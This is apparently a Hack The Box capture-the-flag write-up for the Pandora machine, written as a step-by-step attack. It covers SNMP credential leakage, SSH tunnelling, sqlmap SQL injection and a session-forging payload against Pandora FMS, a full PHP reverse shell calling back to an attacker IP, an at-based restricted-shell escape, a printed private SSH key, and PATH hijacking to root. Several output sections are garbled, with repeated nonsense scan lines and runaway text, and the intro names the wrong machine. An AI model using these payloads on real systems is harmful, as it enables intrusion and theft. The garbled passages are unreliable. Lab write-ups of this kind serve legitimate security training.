

[PANDORA-BOX]

Hi folks, today I am going to solve a hard rated hack the box machine, spider created by TheCyberGeek and dmw0ng. So without any further intro, let's jump in.

common enumeration

Nmap

TCP over SSH
HTTP Default page
*Host 8.2p1 Ubuntu 4ubuntu0.3

code-Nmap

```
nmap -sC -sV -A -oN nmap/pandora 10.10.11.136
```

```
Starting Nmap 7.92 (https://nmap.org) at 2022-04-22 13:31 EDT

Nmap scan report for 10.10.11.136


Host is up (0.90s latency).
```

```
Not snown: 998 closed tcp ports (reset)
PORT
       STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2pl Ubuntu 4ubuntu0.3 (Ubuntu Linux;
protocol 2.0)
 ssh-hostkey:
   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
   256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.82 seconds
```

Three ports are open: port[22]-ssh port[80]-http

Default Page-PLAY

so lets chek at the Default page at http://10.10.11.136



we need to add the hostname to /etc/hosts file and browse the page.

code-/etc/hosts

```
echo 10.10.11.136 panda.htb > /etc/hosts
```

After digging around the website for a while, I decided there was nothing to help me there so I moved on. do look for other directories using gobuster, directory

enumeration, and file detection, but nothing worked.

There had to be something else, so I ran a UDP scan. UDP scans are extraordinarily slow, even with the proper speed flags set so I took the liberty of scanning only the 20 most common ports.

code-nmap-UDP

```
sudo nmap -sU -top-ports=20 panda.htb
```

```
Sudo map -sU -top-ports-20 panda.htb

Starting Nmap 7-92 ( https://mmap.org ) at 2022-04-22 14:38 EDT

Nmap scan report for panda.htb (10.10.11.136)

Host is up (0.41s latency).

PORT STATE SERVICE

53/udp closed dhcps

68/udp closed dhcps

68/udp closed dhcps

68/udp closed dtps

68/udp closed tftp

123/udp closed ntp

135/udp closed methios-ns

135/udp closed methios-ns

131/udp closed methios-ns

131/udp closed methios-ssn

101/udp open smmp

102/udp closed nethios-ssn

101/udp open smmp

102/udp closed siakmp

101/udp open smmp

102/udp closed isakmp

101/udp closed isakmp

101/udp closed isakmp

101/udp closed orbinos-oft-ds

100/udp closed orbinos-oft-ds

100/udp closed orbinos-oft-ds

100/udp closed job closed isakmp

101/udp closed orbinos-oft-ds

100/udp closed job closed isakmp

101/udp closed orbinos-oft-ds

100/udp closed isakmp

102/udp closed siakmp

103/udp closed disakmp

104/udp closed isakmp

105/udp closed isakmp

108/udp closed isakmp

108/udp closed isakmp

108/udp closed isakmp

108/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 16.72 seconds
```

```
sudo: unable to resolve host kali: Name or service not known
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-22 14:38 EDT
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.41s latency).
PORT
      STATE SERVICE
53/udp
        closed domain
67/udp closed dhcps
       closed dhcpc
68/udp
69/udp closed tftp
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
139/udp closed netbios-ssn
161/udp open snmp
```

```
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 16.72 seconds
```

The box is running SNMPv1. SNMP stands for simple network management protocol, and it is used for network management and monitoring. SNMPv1 was defined in RFC1157 and was the first iteration of the SNMP protocol. Because of this, it was designed with little to no security in mind. In fact, both SNMPv1 and SNMPv2 (fun fact, SNMPv2 is the most widely deployed version today) send cleartext messages. Only SNMPv3 (the most recent) supports encryption and authentication. SNMP stores information in a structure called a Management Information Base (MIB for short). This is a relational structure that deems what information can be read, written, and accessed. These use identifiers called OIDs, but it's not important to explain those. You can read about them here.

To retrieve information from machines running <code>SNMP</code>, a requester will send a GET request to the machine, along with a string to authenticate itself. <code>SNMPv1</code> uses two different strings, called community strings, for authentication with machines. The <code>read only</code> string is usually for read-only information, and the <code>read-write</code> string is for the ability to modify some information. The great thing about these community strings is that they are unhashed, atomic, and easy to crack. I used <code>SecList this list</code> to find the community string for the machine.

After I got the community string, I used a tool called snmpwalk to enumerate all the information I could.

code-snmp

```
snmpwalk -v2c -c public panda.htb
```

Enumeration and Injecting

while I was going through the information I found a username and password of daniel, so I used those to log into the machine via SSH.

```
| 150.3.6.1.2.1.25.4.2.1.5.949 | STRING: "-no-debug" |
| 150.3.6.1.2.1.25.4.2.1.5.969 | STRING: "-o -p - \u -noclear ttyl linux" |
| 150.3.6.1.2.1.25.4.2.1.5.1000 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.1000 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.4.2.1.5.128 | STRING: "-u baniel -p HotelBabylon23" |
| 150.3.6.1.2.1.25.4.2.1.5.428 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.428 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.6275 | STRING: "client 10.10.14.39:8080 R:3306:127.0.0.1:80" |
| 150.3.6.1.2.1.25.4.2.1.5.4195 | STRING: "client 10.10.14.39:8080 R:3306:127.0.0.1:80" |
| 150.3.6.1.2.1.25.4.2.1.5.4195 | STRING: "-supervised" |
| 150.3.6.1.2.1.25.4.2.1.5.4195 | STRING: "-supervised" |
| 150.3.6.1.2.1.25.4.2.1.5.51627 | STRING: "-k start" |
| 150.3.6.1.2.1.25.4.2.1.5.68110 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.68111 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.84196 | STRING: "-c uname -a; w; id; /bin/sh -i" |
| 150.3.6.1.2.1.25.4.2.1.5.84196 | STRING: "-i" |
| 150.3.6.1.2.1.25.4.2.1.5.84196 | STRING: "-i" |
| 150.3.6.1.2.1.25.4.2.1.5.85066 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85066 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85076 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
| 150.3.6.1.2.1.25.4.2.1.5.85086 | "" |
```

code-ssh

```
sudo ssh daniel@10.10.11.136
```

successful code injection and i got the shell

ouput

```
| Sund Sah daniela]0-[/home/leshack98/project/HTB/Pandora]
| Sund Sah daniela]0-10.11.136 (10.11.136 (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.136) (10.10.11.11.136) (10.10.11.11.11.116) (10.10.11.116) (10.10.11.116) (10.10.11.116) (10.10.11.116) (10.10.11.116) (10.10.11.116) (10.10.11.116) (10.10.11.116) (10.10.11.116) (10.10.11.116) (10.10.11.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10.10.116) (10
```

Having the shell as a regular user daniel we can find the user.txt in another user matt by changing the directory to home/matt but the permison is denied!

```
daniel@pandora:~$ ls

CVE-2020-5844.py linpeas.sh portf p.php
daniel@pandora:-$ cd /
daniel@pandora:-$ ls

bin cdrom etc lib lib64 lost+found mnt root sbin sys usr
boot dev home lib32 libx32 media proc run srv tmp var
daniel@pandora:/\schome\frac{\text{st}}{\text{daniel@pandora:/home\frac{\text{st}}{\text{daniel@pandora:/home\matt\subset}} ls

daniel@pandora:/home/matt\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\subset\frac{\text{daniel@pandora:/home/matt\subset\subset\subset\frac{\text{st}}{\text{daniel@pandora:/home/matt\subset\subset\subset\frac{\text{daniel@pandora:/home/matt\subset\subset\subset\subset\frac{\text{daniel@pandora:/home/matt\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\subset\s
```

The user flag is in another matt directory, so I need to pivot into that user. The two primary targets I had were /var/www/pandora. The html side was visible to the public, but the pandora was new. Inside the /etc/hosts file so I decide to use this as a lead.

ouput

```
daniel@pandora:/$ cat /etc/hosts
127.0.0.1 localhost.localdomain pandora.htb pandora.pandora.htb
127.0.1.1 pandora

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00:0 ip6-localnet
ff00:0 ip6-mcastprefix
ff00:1 ip6-allondes
ff00:2 ip6-allondes
ff00:2 ip6-allonders
daniel@pandora:/$ 

The user flag is in another and escape in another an
```

Privilege Escalation

Looking at listening ports, we discover a local webserver on port 80:

code-listenig port

output

```
daniel@pandora:/$ cat /etc/hosts
127.0.0.1 localhost.localdomain pandora.htb pandora.pandora.htb
127.0.1.1 pandora
# The following lines are desirable for IPv6 capable hosts
        ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
daniel@pandora:/$ ss -lntp
State
        Recv-Q Send-Q
                            Local Address:Port Peer Address:Port Process
LISTEN
                4096
                           127.0.0.53%lo:53
                                                       0.0.0.0:*
        0
                                  0.0.0.0:22
LISTEN
                 128
                                                        0.0.0.0:*
LISTEN 0
LISTEN 0
                80
                                127.0.0.1:3306
                                                        0.0.0.0:*
                 128
                                     [::]:22
                                                           [::]:*
LISTEN 0
                 511
                                        *:80
                                                              *:*
daniel@pandora:/$
```


Then i decide to forward our local port 9000 to port 80 on the remote target using ssh by typing this which will give you the ssh inside daniel

code- get ssh to forward the webserver

```
~ shift C
```

code-forwarding port

```
-L 9000:127.0.0.1:80
```




or

we can set up a dynamic tunnel. You can do this with the following command:

```
ssh -D 9000 daniel@panda.htb
```

Using this tunnel, we can set up a proxy to view the webpage. Note that it must be socks so it supports DNS resolution (localhost.localdomain). We can now access the web server by browsing to localhost. we get a default login page of pandora FMS.

Default Page- PandoraFMS



After doing research and searching in the internet i found out that pandoraFMS has alot of vunerablity:

- SQL Injection (pre authentication) (CVE-2021-32099)
- Phar deserialization (pre authentication) (CVE-2021-32098)
- Remote File Inclusion (lowest privileged user) (CVE-2021-32100)
- Cross-Site Request Forgery (CSRF)

A SQL injection vulnerability in the pandora_console component of Artica Pandora FMS 742 allows an unauthenticated attacker to upgrade his unprivileged session via the /include/chart_generator.php session_id parameter, leading to a login bypass.

This post specifically shows us that the chart_generator.php file's session_id parameter is vulnerable. I want to use sqlmap for this, so I will need to use a great tool called proxychains was designed to create a chain of proxies that allow you to pivot your tools into systems without having to install tools on the other side of whatever you are pivoting into. To use proxychains, you need to specify the dynamic tunnel to pivot through via the /etc/proxychains4.conf file.

code-editing proxychain4

```
vi /etc/proxychains.conf
```

ouput

```
# Examples:
# Socks5 192.168.67.78 1080 lamer secret
# socks4 192.168.89.3 8080 justu hidden Cross-Site Request Forgery (CSRF)
# socks4 192.168.39.93 8080
# pandors http 192.168.39.93 8080

# A SQL injection vulnerability in the pand allows an unauthenticated attacker to use a raw: The traffic is simply forwarded to the proxy without modification.
# (auth types supported: "basic"-http "user/pass"-socks)

# add proxy here ...
# meanwile the pand defaults set to "tor"
# socks5 127.0.0.1 9000 daniel HotelBabylon23

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A SQL injection vulnerability in the pand allows an unauthenticated attacker to use "vinerability in the pand allows an unauthenticated attacker to use "vinerability in the pand allows an unauthenticated attacker to use "vinerability in the pand allows an unauthenticated attacker to use "vinerability in the pand allows an unauthenticated attacker to use "vinerability in the pand allows an unauthenticated attacker to use "vinerability in the pand allows an unauthenticated attacker to use "vinerability in the pand allows an unauthenticated attacker to use "vinerability in the pand allows an unauthenticated attacker to use "vinerability in the pand attacker to use "vinerability in the pand allows an unauthenticated attacker to use "vinerability in the pand attacker to use "vinerabil
```

After setting that up, we can run a sqli attack against the chart generator file.

code-dumping tables

```
proxychains sqlmap -u
"http://127.0.0.1:9000/pandora_console/include/chart_generator.php?
session_id=1" --batch --dbms=mysql -D pandora -T tsessions_php -C
id_session,data --tables
```

ouput

```
Database: pandora
[178 tables]
 taddress
 taddress_agent
 tagent_access
 tagent_custom_data
 tagent_custom_fields
 tagent_custom_fields_filter
 tagent_module_inventory
 tagent_module_log
 tagent_repository
 tagent_secondary_group
 tagente
 tagente_datos
 tagente_datos_inc
 tagente_datos_inventory
tagente_datos_log4x
 tagente_datos_string
 tagente_estado
 tagente_modulo
 talert_actions
 talert_commands
 talert_snmp
 talert_snmp_action
 talert_special_days
 talert_template_module_actions
 talert_template_modules
 talert_templates
 tattachment
 tautoconfig
 tautoconfig_actions
  tautoconfig_rules
  tcategory
  tcluster
  tcluster_agent
  tcluster_item
```

The table i was interested in is the tpassword_history and tsessions_php tables

code-dumping tpassword

```
proxychains sqlmap -u
"http://127.0.0.1:9000/pandora_console/include/chart_generator.php?
session_id=1" --batch --dbms=mysql -D pandora -T tpassword_history -C
id_pass,id_user,data_end,password,data_begin --dump
```

After dumping that, we get the password hashes for matt and daniel. Just looking at the hashes, I can already tell they are md5

Since the php session are stored in tsessions_php we can use it to get the direct session of matt

code-dumping tsessions

```
proxychains sqlmap -u
"http://127.0.0.1:9000/pandora_console/include/chart_generator.php?
session_id=1" --batch --dbms=mysql -D pandora -T tsessions_php -C
id_session,data --dump
```

so after getting into matts i can get a dashboard but i was uable to get the shell so i decide to do some resarch which led me to a <u>github</u> that you can use to exploit an unauthenicated

```
args = parser.parse_args()
host=args.target
file_name=args.filename
base_path=f'http://{host}/pandora_console'

#Exploit Injection
#http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=' union SELECT 1,2,'id_usuario|s:5:"admin";' as data -- SgGO


print(f"URL: {base_path}")
print("[+] Sending Injection Payload")
r=requests.get(f'http://{host}/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%2
if r.status_code==200:
```

So I copied the URL from it and pasted it to get my admin cookie, and it worked.

```
http://127.0.0.1:9000/pandora_console/include/chart_generator.php?
session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%2
0as%20data%20--%20SgGO
```

After generating this cookie the page will be black just go back to your initial pandora site like

http://127.0.0.1:9000



Now that I'm admin on the PandoraFMS, I spent some time going through the extra tools I got and ended up at the file manager dashboard. Select Admin tools \rightarrow File manager

ouput



so after a research i got a php code that can be modified to get a shell

code-shell(web.php)

```
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments
stripped to slim it down. RE:
https://raw.githubusercontent.com/pentestmonkey/php-reverse-
shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.47';
$port = 9001;
chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
debug = 0;
if (function_exists('pcntl_fork')) {
        $pid = pcntl_fork();
        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        if ($pid) {
```

```
exit(0); // Parent exits
        if (posix_setsid() == -1) {
               printit("Error: Can't setsid()");
                exit(1);
        def = 1;
} else {
        printit("WARNING: Failed to daemonise. This is quite common and
not fatal.");
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errstr, 30);
if (!$sock) {
       printit("$errstr ($errno)");
       exit(1);
$descriptorspec = array(
  0 => array("pipe", "r"), // stdin is a pipe that the child will read
  1 => array("pipe", "w"), // stdout is a pipe that the child will
write to
  2 => array("pipe", "w") // stderr is a pipe that the child will
write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
       if (feof($sock)) {
```

```
printit("ERROR: Shell connection terminated");
                break;
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a,
null);
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
```

Then upload it and set a nc listening to your port

ouput

After that check the nc listening port you will have got the shell Successfully obtained a shell with matt privileges

```
-[/home/leshack98/project/HTB/Pandora
      ncl-lnvp:9001
Listening on 0.0.0.0 9001

Connection received on 10.10.11.136 60948

Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
06:58:50 up 5:50, 6 users, load average: 0.00, 0.02, 0.00

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

daniel pts/0 10.10.14.29 05:59 59:13 0.03s 0.03s -bash
 Listening on 0.0.0.0 9001
                                                                                1:00m 0.08s
                                                                                                         0.08s -bash
                                                                                                         0.04s -bash
0.26s ./portf client 10.10.16.22:8080 R:3306:127.0.0.1:80
                                                                              40:18 0.04s
13:46 0.40s
daniel
                pts/3
                                                               06:03
                                10.10.16.22
                                                                            56.00s 0.04s
daniel pts/5 10.10.16.47 06:57 56.0
uid=1000(matt) gid=1000(matt) groups=1000(matt)
sh: 0: can't access tty; job control turned off
$ ls
bin
boot
 libx32
```

Takeover

After geting the reverse shell we have to do some adjusment to our shell to make it ready for using by doing a stty escalation to get an interactive shell:and to ensure we have the shell back instead if any small error

code-stty

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
[ctrl] + z
stty raw -echo
fg [Enter] two times
```

Then setting the TERM so that you are able to clean the terminal:

```
export TERM=xterm
```

Having the shell as a regular user we can find the user.txt in matt

Privilege Escalation

2>/dev/null is used to discard errors, it will always be used in conjunction with other commands.

so i used this command to get the error.

code-dev/null

output

```
matt@pandora:/home/matt$ find / -perm -u=s 2> /dev/null find / -perm -u=s 2> /dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pandora_backup
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
matt@pandora:/home/matt$
```

i found a backup at /usr/bin/pandora_backup so i decide to run it with but i got an error with sudo

code-backup

sudo /usr/bin/pandora_backup

After getting this shell, it was clear that I was in some kind of restricted environment because the sudo command gave a strange response So, amongest other things I checked the binaries for suid bits, and found the /usr/bin/at with suid set.

/ust/bin/at is on GFTobins and should allow us to move out of our restriction.

code-make sudo active

```
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
```

ouptput

I also elevated to an interactive shell with python3 as in Takeover

we need a more stable shell Since we don't have matt's password, we can't log in directly with ssh, and we haven't found the ssh key, so we generate one ourselves.so that we can ssh at any time.

code-ssh

```
ssh-keygen
cd .ssh
ls
cat id_rsa.pub > authorized_keys
chmod +x authorized_keys
cat id_rsa
```

code-id_rsa

```
----BEGIN OPENSSH PRIVATE KEY----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAwUKNz20v2tYQjOYPEreHt7g8wqnQaGJAkvpbi5+9r/T1iOXbq/hu
EvBnHFk94YXL8UxwhTHzIoa0diY+XH+/eFwfi8cPTpn+yHtNMNmCOMtu7LBsM75UjAPqa2
```

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

----END OPENSSH PRIVATE KEY----

so you can ssh using the following code.

code-ssh matt

```
ssh matt@pandora.htb -i id_rsa
```

output

I downloaded pandora_backup it to my machine and did some testing, and it looks like it uses the tar command to compress files. Change to matt's user directory, then create a fake tar executable, and inject matt's home path into the PATH variable.

code-injectable tar

```
cd /tmp
echo "/bin/bash" > tar
chmod +x tar
`echo` `$PATH`
export PATH=/tmp:$PATH
```

Then run the /usr/bin/pandora_backup file

output

```
matt@pandora:/tmp$ echo "/bin/bash" > tar
echo "/bin/bash" > tar
matt@pandora:/tmp$ chmod 777 tar
chmod 777 tar
matt@pandora:/tmp$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
matt@pandora:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
matt@pandora:/tmp$ /usr/bin/pandora_backup
/usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
root@pandora:/tmp# 

### Add ##
```

Successfully escalated to root user

output

Successfully obtained the flag file with root privileges

END	successful	attack	@leshack98